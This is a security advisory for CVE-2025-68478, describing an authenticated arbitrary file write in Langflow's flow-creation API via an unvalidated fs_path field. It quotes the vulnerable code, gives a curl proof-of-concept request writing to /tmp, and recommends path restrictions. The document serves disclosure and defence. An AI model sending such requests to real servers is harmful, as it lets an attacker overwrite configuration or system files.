GHSA-f43r-cc68-gpx4 (CVE-2025-68478)

Vulnerability Overview

If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.

https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168

@router.post("/", response_model=FlowRead, status_code=201)
async def create_flow(
    *,
    session: DbSession,
    flow: FlowCreate,
    current_user: CurrentActiveUser,
):
    try:
        db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
        await session.commit()
        await session.refresh(db_flow)

        await _save_flow_to_fs(db_flow)

    except Exception as e:

Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.

https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38
```
CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
DbSession = Annotated[AsyncSession, Depends(get_session)]
```
The client can directly specify the save path, including fs_path.

https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70
```
):
    try:
        await _verify_fs_path(flow.fs_path)

        """Create a new flow."""
```
It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.

https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49
```
async def _verify_fs_path(path: str | None) -> None:
    if path:
        path_ = Path(path)
        if not await path_.exists():
            await path_.touch()
```

Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).

https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58

async def _save_flow_to_fs(flow: Flow) -> None:
    if flow.fs_path:
        async with async_open(flow.fs_path, "w") as f:
            try:
                await f.write(flow.model_dump_json())
            except OSError:
                await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)

PoC Description

When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

Before Exploit
<img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" />

After Exploit

curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
  -H "Content-Type: application/json" \
  -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
  -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}'

Impact

Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.

Mondoo Vulnerability Intelligence

GHSA-f43r-cc68-gpx4

Details

Impact

Affected Packages

References

Aliases

CVSS Analysis

Related

Ecosystems

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